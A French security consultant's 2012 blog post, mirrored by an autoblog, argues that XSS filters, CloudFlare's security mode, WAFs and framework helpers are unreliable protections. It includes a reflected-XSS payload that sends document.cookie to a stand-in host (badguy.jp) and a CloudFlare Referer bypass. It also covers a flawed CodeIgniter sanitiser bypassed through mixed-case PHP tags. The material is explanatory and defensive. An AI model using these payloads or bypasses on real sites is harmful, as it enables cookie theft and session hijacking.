Autoblog de paulds.fr

Ce site n'est pas le site officiel de paulds.fr.
C'est un blog automatisé qui réplique les articles de paulds.fr

Sécurité, déporter le problème est une connerie dangereuse

Fri, 15 Jun 2012 12:26:05 +0000 - (source)

Pour changer un peu j’ai décidé de vous livrer ici un article un peu long (non ça ça ne change pas) et technique après une micro-gueulante sur Twitter et pour expliquer un peu plus en détail mon point de vue sur la sécurité en mode boite noire. Je vais essayer de faire relativement simple mais l’article risque d’être un peu indigeste (et inintéressant) si vous n’avez pas de notion de programmation Web – promis le prochain sera sur un truc plus abordable ;)

Depuis quelques années un phénomène a le vent en poupe dans le domaine de la sécurité Web : on essaye de nous vendre de l’antivirus à pas cher qui, une fois installé est censé rassurer le client sur la solidité de son site. Personne n’est vraiment d’accord sur où on est censé brancher ce machin, sur ce qu’il doit faire ou sur comment le considérer. J’ai ma petite idée (nulle part, rien et pas) et vais essayer de vous démontrer par une petite série d’exemples la connerie dont il s’agit…

En parallèle de mes activités de consultant en sécurité il m’arrive aussi de donner des cours de sécurité en PHP (troll interdit après ce que je vais vous balancer ici) – l’approche antivirus, patch miracle, marketing pompeux n’est pas au programme de ce que j’enseigne. Pas même lorsque je m’adresse à des chefs de projet fonctionnel (surtout pas dans ce cas !) et pour cause :

Browser anti-XSS filter (Webkit4, Chromium)

Une des plaies en terme de sécurité est la faille XSS, cette petite injection de script innocente mais qui permet parfois de mettre à genoux des sites, de réaliser des escalades de privilèges, de scanner des sous-réseaux, de prendre le contrôle d’une machine qui utiliserait un navigateur trop vieux ou trop mauvais (là je serai en train de donner un cours j’aurai toussé « Internet Explorer », mais à l’écrit ça risque d’être moins discret comme troll).

Alors les petits gens qui nous font un certain moteur de rendu à peine répandu, un certain Webkit, ont eu l’idée géniale d’intégrer un filtre contre ces petites saloperies… Je prends l’exemple de Chromium (Chrome sans Google, j’ai une âme) et voilà le message que je lis dans la console (F12) de mon navigateur si je tente une XSS sur à peu près n’importe quel site :

Refused to execute a JavaScript script. Source code of script found within request.

Tous ? Non un village (trois ou quatre identifiés en fait) résiste toujours à l’envahisseur !

Considérons par exemple le code PHP suivant (cas réel trouvé sur une interface de paiement d’un site commercial) :


<script type= »text/javascript »>
var page = « <?=$_GET['page']?> »;

</script>

A votre avis il se passe quoi si je mets quelque chose comme ceci dans $_GET['page'] ?

« ; var i = new Img(); i.src = « http://badguy.jp/bad_script.php?nice_cookie= » %2b document.cookie; //

Bon la réponse est simple : la requête va partir mais répondre par une 404 parce que cette page n’existe pas, mais si elle avait existé et qu’elle contenait par exemple un simple file_append de $_GET['nice_cookie'] dans un fichier de log… Bon vous avez saisi le principe ;)

Plus drôle encore : ce filtre magique de la mort qui tue… Comment il fait la différence entre un script légitime et une XSS persistante que j’aurai ajouté au préalable via un formulaire de livre d’or, une signature sur un forum codé avec les pieds, … ?

La réponse est simple : il ne la fait pas et ne pourra jamais la faire.

J’ai inclu il y a peu un script distant en XSS persistante sur un site. Je ne voulais pas l’hoster sur le serveur de mon blog, je l’ai hosté sur un serveur qui n’a aucun nom de domaine attaché. Ca n’a pourtant posé aucun souci à Chromium de communiquer vers une adresse sous la forme d’une ip2long (plus discret) le contenu des cookies vers un script qui s’appelait steal.php (le tout a été patché sur le site en question depuis bien sûr et n’avais été testé que sur mon poste sur une seule requête).

Et c’est normal : ce n’est pas son rôle de filtrer (c’est le rôle de noscript ;) ).

Il y a d’autres façons de bypasser ce filtre (et d’autres problèmes sur Chromium) sur lesquels je travaille encore pour le moment, suite au prochain épisode pour lui !

Reverse Proxy (CloudFlare)

On se rapproche de l’application, on arrive sur le serveur. Sur celui-ci, si je veux gagner un peu en performances je peux installer un reverse proxy. Exemple courant : lighttpd répond à tous les contenus statiques et proxifie les script (php, py, …) à apache qui a quand même plus de répondant dans le domaine.

Sauf que ce type de solutions ne suffit pas sur des systèmes à très gros trafic et sont donc arrivées les entreprises qui font du reverse proxy (Akamaï en tête pour ne pas les nommer). Principe génial, j’ai un CDN en colocation avec d’autres sites et ça répond du feu de dieu partout dans le monde (les images stockées sur facebook sont servies par Akamaï par exemple).

Le petit nouveau qui fait du bruit sur le marché c’est un certain CloudFlare. Pendant un temps je le voyais partout… Pas à cause de leur communication, à cause de leur protection super efficace qui m’affichait une landing page hideuse à chaque requête sur un site derrière leur solution !

Mon navigateur est configuré en mode pentest tout le temps. Tout est modifié ou presque sur chaque requête ou presque et des inclusions classiques sont tentées dans tous les cas… Et forcément ça CloudFlare, qui propose une solution « Security » qui bloque la requête avant qu’elle arrive sur votre serveur s’il y détecte des cochoncetées, il a pas aimé…

En image ma configuration de modify headers pour Firefox avant et après bypass de la sécurité CloudFlare :

 

Comme le jeu des unes différences c’est vachement compliqué je vais vous donner la solution : la seule vérification que fait CloudFlare sur les entêtes HTTP en mode Security c’est si le Referer est formaté comme il le souhaite à savoir : vide ou contenant le caractère « : » au moins une fois… C’est tout !

Je sais pas pour vous, mais moi j’appelle pas ça de la sécurité mais du foutage de gueule :)

Imaginez un instant que le développeur (partisan du moindre effort que nous sommes) se dise « bon bah CloudFlare me laisse passer que des trucs propres, je peux bosser tranquile » et stocke en base SQL des stats sur ses visiteurs (au hasard, user-agent, referer et IP ?) – A votre avis ça donne quoi dans le cas présent ?

WaF (PHPIDs, apache mod security)

On commence à se rapprocher et là il y a deux approches différentes : soit un module du serveur web (ou de cache en reverse proxy) : Apache2 mod_security, Varnish VCL_SECURITY, … soit les classes PHP, Python, Ruby qui pullulent et vous garantissent la sécurité à moindre effort (elles aussi).

Les modules sont relativement efficaces (jamais lu de doc particulière sur du bypass du système en lui-même) lorsqu’ils sont bien configurés ! Ce qui suppose que l’admin système, qui va vraisemblablement paramétrer le truc, maitrise des problématiques de sécurité applicative fine ou que le développeur maitrise l’administration système ou que les deux se mettent d’un coup à bosser ensemble… Rayez toutes les mentions inutiles, je ne vois pas un cas concrêt où ça peut se passer correctement et surtout je ne vois pas l’intérêt dans la mesure où ce qui est « développé » en conf serait vachement mieux dans du code applicatif / métier même.

Et puis il y a les classes PHP qui vous proposent, moyennant l’inclusion en tout début de votre fichier appelé de vous nettoyer les données ou d’arrêter l’execution du script en cours de route si problème. Les problèmes sont en général décrits par de magnifiques expressions régulières pas lourdingues du tout (ironie pour ceux qui ne la saisirait pas à l’écrit) qui ont déjà été bypassées sur un des leaders du marché (bon pas par un rigolo non plus ^^).

Bref une solution lourde, difficile à paramétrer et qui ne présente aucune garantie voire qui peut introduire des vulnérabilités si le truc est mal foutu : plus de codes = plus de soucis, comme dirait @manudwarf keep it simple stupid (je sais c’est pas de lui mais ça lui va bien et il l’a écrit il y a peu) !

Framework (Code Igniter)

Et pour finir ce tour de table je vais vous parler de l’endroit où cela a plus ou moins sa place, en citant bien sûr un contre-exemple…

Le framework peut (ou doit selon la philosophie du dév) proposer des outils de validation, éventuellement des outils de nettoyage et des méthodes pour y accéder facilement. Il doit faire tout ceci simplement pour éviter que le code qui sert à vérifier que mon fichier que j’ai uploadé est bien une image, je ne veux pas le ré-écrire partout. Qui plus est, si demain je veux ajouter un niveau de vérification supplémentaire, changer quelque chose, je veux pouvoir le faire une fois pour l’ensemble de mes uploads et déployer ainsi une forme de sécurité générique homogène (différent de la sécurité métier).

Mais si vous utilisez un framework, lisez le ! Faites attention au code qui est utilisé et patchez le éventuellement.

Exemple : Code Igniter, helper security de la version 2.1.1 (actuelle, j’ai créé une issue sur le GitHub)

function encode_php_tags($str)
{
return str_replace(array(‘‘), array(‘<?php’, ‘<?PHP’, ‘<?’, ‘?>’), $str);
}

Si vous ne voyez pas ce qui cloche imaginez simplement que j’envoie <?pHp et vous comprendrez pourquoi je m’arrache les cheveux ;)

Enfin il y a la sécurité métier, les vérifications simples sur la longueur d’un champ, sa forme, … Cette partie là n’a sa place qu’au niveau de l’application et n’est pas négociable. Si vous mettez en place l’une ou l’autre des non-solutions citées plus haut vous risquez d’avoir des dév qui considèrent que « la sécurité est là vu qu’y a PHPIDs » …

Conclusion

Non j’ai pas envie de conclure, j’ai fait assez de démo, tirez en votre conclusion et discutez en dans les commentaires c’est plus simple ! :)

flattr this!


Powered by VroumVroumBlog 0.1.31 - RSS Feed
Download config articles